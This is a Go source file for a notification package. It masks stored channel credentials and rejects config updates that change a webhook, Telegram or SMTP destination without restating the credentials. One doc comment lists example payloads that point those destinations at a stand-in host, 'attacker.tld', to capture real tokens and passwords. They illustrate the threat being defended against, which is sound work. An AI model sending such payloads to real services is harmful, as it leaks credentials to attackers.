Files
BaaRai e233c02314 Translate all Chinese text to English
Comments, doc comments, UI labels, log and error messages, LLM prompt
strings, markdown docs, test data and assertions. Identifiers, enum
keys, routes, placeholders and code structure are unchanged.

Notes:
- docs/漏洞流量证据.md renamed to docs/vulnerability-traffic-evidence.md
- tests that exercised CJK specific handling (GBK zip names, Chinese
  full text search) now use ASCII equivalents; go build passes and the
  test suite matches the pre translation baseline (remaining failures
  need a PostgreSQL DSN and fail identically on the original)
- frontend mention syntax now uses English kinds (finding, asset, ...)
  matching the backend, chat mentions tests pass
2026-10-08 23:14:34 +02:00

297 lines
12 KiB
Go

package notify
import (
"encoding/json"
"fmt"
"strings"
)
// MaskedPrefix is the marker prefix of a masked value. When the API echoes a
// credential it replaces the real content with a value carrying this prefix, and
// when the update API receives a value carrying this prefix it understands it as
// "keep the original value in the database unchanged".
//
// A prefix rather than an empty string or some fixed constant is used so that a
// bit of recognizable information can come along (see MaskedValue), letting the
// user tell "which bot this is" without re-pasting the secret.
const MaskedPrefix = "__masked__"
// MaskedValue generates a masked value:
//
// "__masked__" original value too short, no hint given
// "__masked__:…ab12cd" carries the last 6 characters of the original as a hint
//
// Exposing only the last 6 characters is a deliberate choice: the recognizable
// part of a webhook address is at its end (e.g. WeCom's key, Feishu's bot id),
// while the prefix part is the same across bots and has no discriminative value.
// The last 6 characters are not enough to reconstruct the credential, but enough
// for the person who configured it to recognize "that's my group".
func MaskedValue(secret string) string {
if len(secret) <= 6 {
return MaskedPrefix
}
return MaskedPrefix + ":…" + secret[len(secret)-6:]
}
// IsMasked reports whether a value is a masked value (i.e. echoed by the API and
// not modified).
func IsMasked(v string) bool { return strings.HasPrefix(v, MaskedPrefix) }
// MaskConfig returns a copy of the configuration with the channel's credential
// fields replaced by masked values.
//
// An unknown channel kind returns an empty map instead of the original
// configuration — better to let the UI show "configuration unavailable" than to
// spit back raw content that may contain credentials when the channel kind
// cannot be recognized. Non-credential fields are kept as-is so the UI renders
// normally.
func MaskConfig(kind string, cfg map[string]any) map[string]any {
channel, ok := Get(kind)
if !ok {
return map[string]any{}
}
secrets := map[string]bool{}
for _, k := range channel.SecretKeys() {
secrets[k] = true
}
out := make(map[string]any, len(cfg))
for k, v := range cfg {
if !secrets[k] {
out[k] = v
continue
}
// Nested structures like headers are treated as one credential as a whole:
// judging sub-keys one by one would require every channel to declare yet
// another set of "which sub-keys are credentials" rules, a complexity far
// beyond the benefit.
if s, ok := v.(string); ok {
out[k] = MaskedValue(s)
continue
}
out[k] = MaskedPrefix
}
return out
}
// ErrDestinationChangedWithoutCredentials means "the destination address
// changed, but the caller did not take a position on the credential fields".
// Returning it instead of silently allowing or silently dropping credentials —
// see PrepareConfigUpdate for the rationale.
type ErrDestinationChangedWithoutCredentials struct {
Changed []string // destination keys that changed
Missing []string // credential keys not explicitly declared
}
func (e *ErrDestinationChangedWithoutCredentials) Error() string {
return "destination address (" + strings.Join(e.Changed, ", ") + ") has changed; please also re-fill the credential fields (" +
strings.Join(e.Missing, ", ") + "): enter a new value, or explicitly leave it empty to indicate the credential is no longer needed. " +
"The original credential is only valid for the old address; continuing to use it amounts to handing it to the new address."
}
// PrepareConfigUpdate merges channel configuration and handles the
// security-sensitive case of "the destination address changed".
//
// It replaces a bare MergeConfig on the channel update path, addressing a
// verified feasible attack path: the destination address (where messages go) and
// the credentials (under which identity they are sent) are two independent sets
// of fields, and MergeConfig keeps the stored value for any "unmentioned key".
// So anyone who can PATCH a channel can **change only the address while saying
// nothing about the credentials**, and have the server send the stored real
// credentials to an endpoint they control:
//
// webhook {config:{url:"https://attacker.tld"}} → the original Authorization header goes out with the request
// telegram {config:{base_url:"https://attacker.tld"}} → /bot<realToken>/sendMessage
// email {config:{host:"smtp.attacker.tld"}} → username and password handed over after STARTTLS
//
// This path is completely silent, does not rely on redirects (so refusing
// cross-host redirects cannot stop it), and directly defeats the goal of this
// package's masking mechanism — "credentials are never echoed back to the
// browser".
//
// Rule: whenever a destination key is changed to a new value, the caller must
// take an explicit position on **every** credential key:
// - provide a new value → use the new value
// - explicitly pass an empty string → the field no longer needs a credential
// (clearing semantics preserved)
// - pass back the masked value as-is / omit the key entirely → reject
//
// The third case is rejected too because the meaning of "masked value" is
// precisely "keep the old credential", and the old credential is only valid for
// the old address. Deliberately no "auto-drop credentials" here — for optional
// credential fields (webhook's headers, email's password) that would silently
// turn into "auth is gone but the API returned 200", which is harder to
// troubleshoot than an error. Better to make the operator fill it in once more.
func PrepareConfigUpdate(kind string, stored, incoming map[string]any) (map[string]any, error) {
channel, ok := Get(kind)
if !ok {
return nil, fmt.Errorf("channel kind %q is not registered", kind)
}
secrets := channel.SecretKeys()
destinations := channel.DestinationKeys()
// If a non-string credential value (e.g. webhook's headers is an object) has
// a masked literal embedded in it, the caller has stuffed the "keep original"
// sentinel inside a structure. MergeConfig only recognizes "a string with the
// prefix" as masked, and this shape would be stored as an ordinary object —
// the literal "__masked__" really lands in the database, and authentication
// silently fails afterwards with no error anywhere. Better to reject it.
//
// This check must come **first**: when the address has not changed there is
// an early return, and placing it later would cover only the "address
// changed" path (the first version got exactly this wrong, and the test
// caught it right away).
if err := rejectMaskedInContainers(incoming, secrets); err != nil {
return nil, err
}
// Find the destination keys that were actually changed. A masked value counts
// as "unchanged".
var changed []string
for _, key := range destinations {
raw, present := incoming[key]
if !present {
continue
}
s, isStr := raw.(string)
if isStr && IsMasked(s) {
continue
}
if !sameConfigValue(raw, stored[key]) {
changed = append(changed, key)
}
}
if len(changed) == 0 {
// Address unchanged: ordinary merge (masked values keep the original,
// empty strings clear, everything else overwrites).
return MergeConfig(stored, incoming), nil
}
// Address changed: require an explicit position on every credential key.
var missing []string
for _, key := range secrets {
raw, present := incoming[key]
if !present {
missing = append(missing, key)
continue
}
if s, isStr := raw.(string); isStr && IsMasked(s) {
missing = append(missing, key)
}
}
if len(missing) > 0 {
return nil, &ErrDestinationChangedWithoutCredentials{Changed: changed, Missing: missing}
}
return MergeConfig(stored, incoming), nil
}
// rejectMaskedInContainers rejects submissions that embed the masking sentinel
// inside non-string structures.
//
// The masking mechanism rests on the premise that "the whole value is a string".
// Object fields like webhook's headers can only be masked as a whole (written as
// the string "__masked__") or submitted as a whole; stuffing the sentinel inside
// the object can neither express "keep unchanged" nor avoid being stored as a
// real value.
func rejectMaskedInContainers(incoming map[string]any, secretKeys []string) error {
for _, key := range secretKeys {
raw, present := incoming[key]
if !present {
continue
}
if _, isStr := raw.(string); isStr {
continue
}
encoded, err := json.Marshal(raw)
if err != nil {
continue
}
if strings.Contains(string(encoded), MaskedPrefix) {
return fmt.Errorf("field %s contains the masking marker %q: this field can only be left empty as a whole to keep the original, or submitted as a whole with a new value; embedding a masking placeholder inside a structure is not allowed",
key, MaskedPrefix)
}
}
return nil
}
// sameConfigValue compares two configuration values for equivalence. Comparing
// via JSON serialization also smooths over type differences — the frontend
// submits the port as a number while the database reads it back as float64, and
// a plain == would misjudge.
//
// "Empty" must be normalized before comparing: an empty string and "key absent"
// are the same state in this configuration model, because MergeConfig treats an
// empty string as an explicit clear and deletes the key outright. Without
// normalization, an always-empty optional destination field (Telegram's base_url
// is the only such field: empty means use the official address) would go down
// this path —
//
// stored as base_url:"" at creation → first save: MergeConfig deletes the key
// → second save: incoming is "" while stored lacks the key, judged as "address changed"
// → credential is a masked value → 400 "destination address has changed, please re-fill the credential fields"
//
// and every save from then on fails unless the user re-pastes the Bot Token,
// even though they changed nothing.
func sameConfigValue(a, b any) bool {
if isBlankConfigValue(a) && isBlankConfigValue(b) {
return true
}
ra, errA := json.Marshal(a)
rb, errB := json.Marshal(b)
if errA != nil || errB != nil {
return false
}
return string(ra) == string(rb)
}
// isBlankConfigValue decides whether a configuration value is "empty".
// The convention must agree with MergeConfig's clearing check
// (strings.TrimSpace(s) == ""), otherwise there is a crack where "MergeConfig
// thinks it should be deleted but sameConfigValue thinks it has a value".
func isBlankConfigValue(v any) bool {
if v == nil {
return true
}
s, ok := v.(string)
return ok && strings.TrimSpace(s) == ""
}
// MergeConfig merges incoming on top of stored, used to update channel
// configuration.
//
// Rules:
// - keys whose incoming value is masked → keep the stored value (the user did
// not change this field)
// - keys whose incoming value is an empty string → treated as an explicit
// clear, the key is deleted
// - all other keys → overwritten with the incoming value
// - keys present in stored but absent from incoming → kept (partial update
// semantics)
//
// Whether an empty string counts as "clear" needs to be explicit: the frontend
// form submits unfilled fields as empty strings, and writing them in as valid
// values would really clear the "leave empty to keep the original" fields. The
// choice here is explicit clearing, because the user has no other way to express
// removing a misconfigured field (dragging the field away could distinguish "not
// provided" from "provided empty", but the UI does not use that distinction).
func MergeConfig(stored, incoming map[string]any) map[string]any {
out := make(map[string]any, len(stored)+len(incoming))
for k, v := range stored {
out[k] = v
}
for k, v := range incoming {
if s, ok := v.(string); ok {
if IsMasked(s) {
continue // masked value = unmodified, keep stored
}
if strings.TrimSpace(s) == "" {
delete(out, k)
continue
}
out[k] = s
continue
}
out[k] = v
}
return out
}